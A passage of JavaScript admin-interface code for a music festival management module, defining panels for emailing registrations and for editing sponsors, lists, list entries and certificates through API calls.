'hidelabel':'yes', 'type':'textarea', 'size':'large'},\\n }},\\n '_save':{'label':'', 'aside':'yes', 'buttons':{\\n 'send':{'label':'Send', 'fn':'M.ciniki_musicfestivals_main.emailregistrations.send();'},\\n }},\\n 'registrations':{'label':'Registrations', 'type':'simplegrid', 'num_cols':5,\\n 'headerValues':['Class', 'Registrant', 'Title', 'Time', 'Virtual'],\\n 'cellClasses':['', '', '', '', ''],\\n },\\n };\\n this.emailregistrations.fieldValue = function(s, i, d) { return ''; }\\n this.emailregistrations.cellValue = function(s, i, j, d) {\\n if( s == 'registrations' ) {\\n switch (j) {\\n case 0: return d.class_code;\\n case 1: return d.display_name;\\n case 2: return d.title1;\\n case 3: return d.perf_time1;\\n case 4: return (d.participation == 1 ? 'Virtual' : 'In Person');\\n }\\n }\\n }\\n this.emailregistrations.open = function(cb, reg) {\\n this.sections.registrations.label = M.ciniki_musicfestivals_main.festival.sections.registrations.label;\\n this.data.registrations = M.ciniki_musicfestivals_main.festival.data.registrations;\\n this.refresh();\\n this.show(cb);\\n };\\n this.emailregistrations.send = function() {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.registrationsEmailSend', \\n {'tnid':M.curTenantID, 'teacher_id':M.ciniki_musicfestivals_main.festival.teacher_customer_id, 'festival_id':M.ciniki_musicfestivals_main.festival.festival_id}, c, \\n function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n } \\n M.ciniki_musicfestivals_main.emailregistrations.close();\\n });\\n }\\n this.emailregistrations.addButton('send', 'Send', 'M.ciniki_musicfestivals_main.emailregistrations.send();');\\n this.emailregistrations.addClose('Cancel');\\n\\n //\\n // The panel to edit Sponsor\\n //\\n this.sponsor = new M.panel('Sponsor', 'ciniki_musicfestivals_main', 'sponsor', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.sponsor');\\n this.sponsor.data = null;\\n this.sponsor.festival_id = 0;\\n this.sponsor.sponsor_id = 0;\\n this.sponsor.nplist = [];\\n this.sponsor.sections = {\\n '_image_id':{'label':'Logo', 'type':'imageform', 'aside':'yes', 'fields':{\\n 'image_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\\n 'addDropImage':function(iid) {\\n M.ciniki_musicfestivals_main.sponsor.setFieldValue('image_id', iid);\\n return true;\\n },\\n 'addDropImageRefresh':'',\\n 'deleteImage':function(fid) {\\n M.ciniki_musicfestivals_main.sponsor.setFieldValue(fid, 0);\\n return true;\\n },\\n },\\n }},\\n 'general':{'label':'', 'fields':{\\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\\n 'url':{'label':'Website', 'type':'text'},\\n 'sequence':{'label':'Order', 'type':'text', 'size':'small'},\\n 'flags':{'label':'Options', 'type':'flags', 'flags':{'1':{'name':'Level 1'}, '2':{'name':'Level 2'}}},\\n }},\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.sponsor.save();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.sponsor.sponsor_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.sponsor.remove();'},\\n }},\\n };\\n this.sponsor.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.sponsor.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.sponsorHistory', 'args':{'tnid':M.curTenantID, 'sponsor_id':this.sponsor_id, 'field':i}};\\n }\\n this.sponsor.open = function(cb, sid, fid) {\\n if( sid != null ) { this.sponsor_id = sid; }\\n if( fid != null ) { this.festival_id = fid; }\\n M.api.getJSONCb('ciniki.musicfestivals.sponsorGet', {'tnid':M.curTenantID, 'sponsor_id':this.sponsor_id, 'festival_id':this.festival_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.sponsor;\\n p.data = rsp.sponsor;\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.sponsor.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.sponsor.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.sponsor_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.sponsorUpdate', {'tnid':M.curTenantID, 'sponsor_id':this.sponsor_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.sponsorAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.sponsor.sponsor_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.sponsor.remove = function() {\\n M.confirm('Are you sure you want to remove sponsor?', null, function(rsp) {\\n M.api.getJSONCb('ciniki.musicfestivals.sponsorDelete', {'tnid':M.curTenantID, 'sponsor_id':M.ciniki_musisfestivals_main.sponsor.sponsor_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.sponsor.close();\\n });\\n });\\n }\\n this.sponsor.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.sponsor_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.sponsor.save(\\\\'M.ciniki_musicfestivals_main.sponsor.open(null,' + this.nplist[this.nplist.indexOf('' + this.sponsor_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.sponsor.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.sponsor_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.sponsor.save(\\\\'M.ciniki_musicfestivals_main.sponsor.open(null,' + this.nplist[this.nplist.indexOf('' + this.sponsor_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.sponsor.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.sponsor.save();');\\n this.sponsor.addClose('Cancel');\\n this.sponsor.addButton('next', 'Next');\\n this.sponsor.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit Schedule Time Slot Image\\n //\\n this.timeslotimage = new M.panel('Schedule Time Slot Image', 'ciniki_musicfestivals_main', 'timeslotimage', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.timeslotimage');\\n this.timeslotimage.data = null;\\n this.timeslotimage.timeslot_image_id = 0;\\n this.timeslotimage.nplist = [];\\n this.timeslotimage.sections = {\\n '_image_id':{'label':'Image', 'type':'imageform', 'aside':'yes', 'fields':{\\n 'image_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\\n 'addDropImage':function(iid) {\\n M.ciniki_musicfestivals_main.timeslotimage.setFieldValue('image_id', iid);\\n return true;\\n },\\n 'addDropImageRefresh':'',\\n },\\n }},\\n 'general':{'label':'', 'fields':{\\n 'title':{'label':'Title', 'type':'text'},\\n 'flags':{'label':'Options', 'type':'text'},\\n 'sequence':{'label':'Order', 'type':'text'},\\n }},\\n '_description':{'label':'Description', 'fields':{\\n 'description':{'label':'', 'hidelabel':'yes', 'type':'textarea', 'size':'large'},\\n }},\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.timeslotimage.save();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.timeslotimage.timeslot_image_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.timeslotimage.remove();'},\\n }},\\n };\\n this.timeslotimage.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.timeslotimage.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.timeslotImageHistory', 'args':{'tnid':M.curTenantID, 'timeslot_image_id':this.timeslot_image_id, 'field':i}};\\n }\\n this.timeslotimage.open = function(cb, tid, list) {\\n if( tid != null ) { this.timeslot_image_id = tid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.timeslotImageGet', {'tnid':M.curTenantID, 'timeslot_image_id':this.timeslot_image_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.timeslotimage;\\n p.data = rsp.image;\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.timeslotimage.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.timeslotimage.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.timeslot_image_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.timeslotImageUpdate', {'tnid':M.curTenantID, 'timeslot_image_id':this.timeslot_image_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.timeslotImageAdd', {'tnid':M.curTenantID}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.timeslotimage.timeslot_image_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.timeslotimage.remove = function() {\\n M.confirm('Are you sure you want to remove timeslotimage?', null, function(rsp) {\\n M.api.getJSONCb('ciniki.musicfestivals.timeslotImageDelete', {'tnid':M.curTenantID, 'timeslot_image_id':M.ciniki_musicfestivals_main.timeslotimage.timeslot_image_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.timeslotimage.close();\\n });\\n });\\n }\\n this.timeslotimage.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.timeslot_image_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.timeslotimage.save(\\\\'M.ciniki_musicfestivals_main.timeslotimage.open(null,' + this.nplist[this.nplist.indexOf('' + this.timeslot_image_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.timeslotimage.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.timeslot_image_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.timeslotimage.save(\\\\'M.ciniki_musicfestivals_main.timeslotimage.open(null,' + this.nplist[this.nplist.indexOf('' + this.timeslot_image_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.timeslotimage.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.timeslotimage.save();');\\n this.timeslotimage.addClose('Cancel');\\n this.timeslotimage.addButton('next', 'Next');\\n this.timeslotimage.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit a List\\n //\\n this.list = new M.panel('List', 'ciniki_musicfestivals_main', 'list', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.list');\\n this.list.data = null;\\n this.list.list_id = 0;\\n this.list.festival_id = 0;\\n this.list.nplist = [];\\n this.list.sections = {\\n 'general':{'label':'', 'fields':{\\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\\n 'category':{'label':'Category', 'required':'yes', 'type':'text'},\\n }},\\n '_intro':{'label':'Introduction', 'fields':{\\n 'intro':{'label':'', 'hidelabel':'yes', 'type':'textarea'},\\n }},\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.list.save();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.list.list_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.list.remove();'},\\n }},\\n };\\n this.list.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.list.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.listHistory', 'args':{'tnid':M.curTenantID, 'list_id':this.list_id, 'field':i}};\\n }\\n this.list.open = function(cb, lid, fid, list) {\\n if( lid != null ) { this.list_id = lid; }\\n if( fid != null ) { this.festival_id = fid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.listGet', {'tnid':M.curTenantID, 'list_id':this.list_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.list;\\n p.data = rsp.list;\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.list.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.list.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.list_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.listUpdate', {'tnid':M.curTenantID, 'list_id':this.list_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.listAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.list.list_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.list.remove = function() {\\n M.confirm('Are you sure you want to remove list?', null, function(rsp) {\\n M.api.getJSONCb('ciniki.musicfestivals.listDelete', {'tnid':M.curTenantID, 'list_id':this.list_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.list.close();\\n });\\n });\\n }\\n this.list.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.list_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.list.save(\\\\'M.ciniki_musicfestivals_main.list.open(null,' + this.nplist[this.nplist.indexOf('' + this.list_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.list.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.list_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.list.save(\\\\'M.ciniki_musicfestivals_main.list.open(null,' + this.nplist[this.nplist.indexOf('' + this.list_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.list.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.list.save();');\\n this.list.addClose('Cancel');\\n this.list.addButton('next', 'Next');\\n this.list.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit List Section\\n //\\n this.listsection = new M.panel('List Section', 'ciniki_musicfestivals_main', 'listsection', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.listsection');\\n this.listsection.data = null;\\n this.listsection.list_id = 0;\\n this.listsection.listsection_id = 0;\\n this.listsection.nplist = [];\\n this.listsection.sections = {\\n 'general':{'label':'', 'fields':{\\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\\n 'sequence':{'label':'Order', 'type':'text'},\\n }},\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.listsection.save();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.listsection.listsection_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.listsection.remove();'},\\n }},\\n };\\n this.listsection.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.listsection.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.listSectionHistory', 'args':{'tnid':M.curTenantID, 'listsection_id':this.listsection_id, 'field':i}};\\n }\\n this.listsection.open = function(cb, lid, list_id, list) {\\n if( lid != null ) { this.listsection_id = lid; }\\n if( list_id != null ) { this.list_id = list_id; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.listSectionGet', {'tnid':M.curTenantID, 'listsection_id':this.listsection_id, 'list_id':this.list_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.listsection;\\n p.data = rsp.listsection;\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.listsection.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.listsection.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.listsection_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.listSectionUpdate', {'tnid':M.curTenantID, 'listsection_id':this.listsection_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.listSectionAdd', {'tnid':M.curTenantID, 'list_id':this.list_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.listsection.listsection_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.listsection.remove = function() {\\n M.confirm('Are you sure you want to remove listsection?', null, function(rsp) {\\n M.api.getJSONCb('ciniki.musicfestivals.listSectionDelete', {'tnid':M.curTenantID, 'listsection_id':M.ciniki_musicfestivals_main.listsection.listsection_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.listsection.close();\\n });\\n });\\n }\\n this.listsection.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.listsection_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.listsection.save(\\\\'M.ciniki_musicfestivals_main.listsection.open(null,' + this.nplist[this.nplist.indexOf('' + this.listsection_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.listsection.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.listsection_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.listsection.save(\\\\'M.ciniki_musicfestivals_main.listsection.open(null,' + this.nplist[this.nplist.indexOf('' + this.listsection_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.listsection.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.listsection.save();');\\n this.listsection.addClose('Cancel');\\n this.listsection.addButton('next', 'Next');\\n this.listsection.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit List Entry\\n //\\n this.listentry = new M.panel('List Entry', 'ciniki_musicfestivals_main', 'listentry', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.listentry');\\n this.listentry.data = null;\\n this.listentry.listsection_id = 0;\\n this.listentry.listentry_id = 0;\\n this.listentry.nplist = [];\\n this.listentry.sections = {\\n 'general':{'label':'List Entry', 'fields':{\\n 'sequence':{'label':'Number', 'type':'text'},\\n 'award':{'label':'Award', 'type':'text'},\\n 'amount':{'label':'Amount', 'type':'text'},\\n 'donor':{'label':'Donor', 'type':'text'},\\n 'winner':{'label':'Winner', 'type':'text'},\\n }},\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.listentry.save();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.listentry.listentry_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.listentry.remove();'},\\n }},\\n };\\n this.listentry.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.listentry.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.listEntryHistory', 'args':{'tnid':M.curTenantID, 'listentry_id':this.listentry_id, 'field':i}};\\n }\\n this.listentry.open = function(cb, lid, sid, list) {\\n if( lid != null ) { this.listentry_id = lid; }\\n if( sid != null ) { this.listsection_id = sid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.listEntryGet', {'tnid':M.curTenantID, 'listentry_id':this.listentry_id, 'section_id':this.listsection_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.listentry;\\n p.data = rsp.listentry;\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.listentry.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.listentry.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.listentry_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.listEntryUpdate', {'tnid':M.curTenantID, 'listentry_id':this.listentry_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.listEntryAdd', {'tnid':M.curTenantID, 'section_id':this.listsection_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.listentry.listentry_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.listentry.remove = function() {\\n M.confirm('Are you sure you want to remove listentry?', null, function(rsp) {\\n M.api.getJSONCb('ciniki.musicfestivals.listEntryDelete', {'tnid':M.curTenantID, 'listentry_id':M.ciniki_musicfestivals_main.listentry.listentry_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.listentry.close();\\n });\\n });\\n }\\n this.listentry.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.listentry_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.listentry.save(\\\\'M.ciniki_musicfestivals_main.listentry.open(null,' + this.nplist[this.nplist.indexOf('' + this.listentry_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.listentry.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.listentry_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.listentry.save(\\\\'M.ciniki_musicfestivals_main.listentry.open(null,' + this.nplist[this.nplist.indexOf('' + this.listentry_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.listentry.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.listentry.save();');\\n this.listentry.addClose('Cancel');\\n this.listentry.addButton('next', 'Next');\\n this.listentry.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit Certificate\\n //\\n this.certificate = new M.panel('Certificate', 'ciniki_musicfestivals_main', 'certificate', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.certificate');\\n this.certificate.data = null;\\n this.certificate.festival_id = 0;\\n this.certificate.certificate_id = 0;\\n this.certificate.nplist = [];\\n this.certificate.sections = {\\n '_image_id':{'label':'Image', 'type':'imageform', 'aside':'yes', 'fields':{\\n 'image_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\\n 'addDropImage':function(iid) {\\n M.ciniki_musicfestivals_main.certificate.setFieldValue('image_id', iid);\\n return true;\\n },\\n 'addDropImageRefresh':'',\\n },\\n }},\\n 'general':{'label':'Certificate', 'fields':{\\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\\n 'orientation':{'label':'Orientation', 'type':'toggle', 'toggles':{'L':'Landscape', 'P':'Portrait'}},\\n// FIXME: Add section support and min score support\\n// 'section_id':{'label':'Section', 'type':'select', 'options':{}, 'complex_options':{'name':'name', 'value':'id'}},\\n// 'min_score':{'label':'Minimum Score', 'type':'text', 'size':'small'},\\n }},\\n 'fields':{'label':'Auto Filled Fields', 'type':'simplegrid', 'num_cols':1,\\n 'addTxt':'Add Field',\\n 'addFn':'M.ciniki_musicfestivals_main.certificate.save(\\\"M.ciniki_musicfestivals_main.certfield.open(\\\\'M.ciniki_musicfestivals_main.certificate.open();\\\\',0,M.ciniki_musicfestivals_main.certificate.certificate_id);\\\");',\\n },\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.certificate.save();'},\\n 'download':{'label':'Generate Test', \\n 'visible':function() {return M.ciniki_musicfestivals_main.certificate.certificate_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.certificate.generateTestOutlines();',\\n },\\n 'download2':{'label':'Generate Test No Outlines', \\n 'visible':function() {return M.ciniki_musicfestivals_main.certificate.certificate_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.certificate.generateTest();',\\n },\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.certificate.certificate_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.certificate.remove();',\\n },\\n }},\\n };\\n this.certificate.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.certificate.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.certificateHistory', 'args':{'tnid':M.curTenantID, 'certificate_id':this.certificate_id, 'field':i}};\\n }\\n this.certificate.cellValue = function(s, i, j, d) {\\n if( s == 'fields' ) {\\n switch(j) {\\n case 0: return d.name;\\n }\\n }\\n }\\n this.certificate.rowFn = function(s, i, d) {\\n return 'M.ciniki_musicfestivals_main.certificate.save(\\\"M.ciniki_musicfestivals_main.certfield.open(\\\\'M.ciniki_musicfestivals_main.certificate.open();\\\\',' + d.id + ',M.ciniki_musicfestivals_main.certificate.certificate_id);\\\");';\\n }\\n this.certificate.open = function(cb, cid, fid, list) {\\n if( cid != null ) { this.certificate_id = cid; }\\n if( fid != null ) { this.festival_id = fid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.certificateGet', {'tnid':M.curTenantID, 'certificate_id':this.certificate_id, 'festival_id':this.festival_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.certificate;\\n p.data = rsp.certificate;\\n// p.sections.general.fields.section_id.options = rsp.sections;\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.certificate.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.certificate.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.certificate_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.certificateUpdate', {'tnid':M.curTenantID, 'certificate_id':this.certificate_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.certificateAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.certificate.certificate_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.certificate.generateTestOutlines = function() {\\n M.api.openFile('ciniki.musicfestivals.certificateGet', {'tnid':M.curTenantID, 'certificate_id':this.certificate_id, 'festival_id':this.festival_id, 'output':'pdf', 'outlines':'yes'});\\n }\\n this.certificate.generateTest = function() {\\n M.api.openFile('ciniki.musicfestivals.certificateGet', {'tnid':M.curTenantID, 'certificate_id':this.certificate_id, 'festival_id':this.festival_id, 'output':'pdf'});\\n }\\n this.certificate.remove = function() {\\n M.confirm('Are you sure you want to remove certificate?', null, function(rsp) {\\n M.api.getJSONCb('ciniki.musicfestivals.certificateDelete', {'tnid':M.curTenantID, 'certificate_id':M.ciniki_musicfestivals_main.certificate.certificate_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.certificate.close();\\n });\\n });\\n }\\n this.certificate.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.certificate_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.certificate.save(\\\\'M.ciniki_musicfestivals_main.certificate.open(null,' + this.nplist[this.nplist.indexOf('' + this.certificate_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.certificate.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.certificate_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.certificate.save(\\\\'M.ciniki_musicfestivals_main.certificate.open(null,' + this.nplist[this.nplist.indexOf('' + this.certificate_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.certificate.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.certificate.save();');\\n this.certificate.addClose('Cancel');\\n this.certificate.addButton('next', 'Next');\\n this.certificate.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit Certificate Field\\n //\\n this.certfield = new M.panel('Certificate Field', 'ciniki_musicfestivals_main', 'certfield', 'mc', 'medium', 'sectioned', 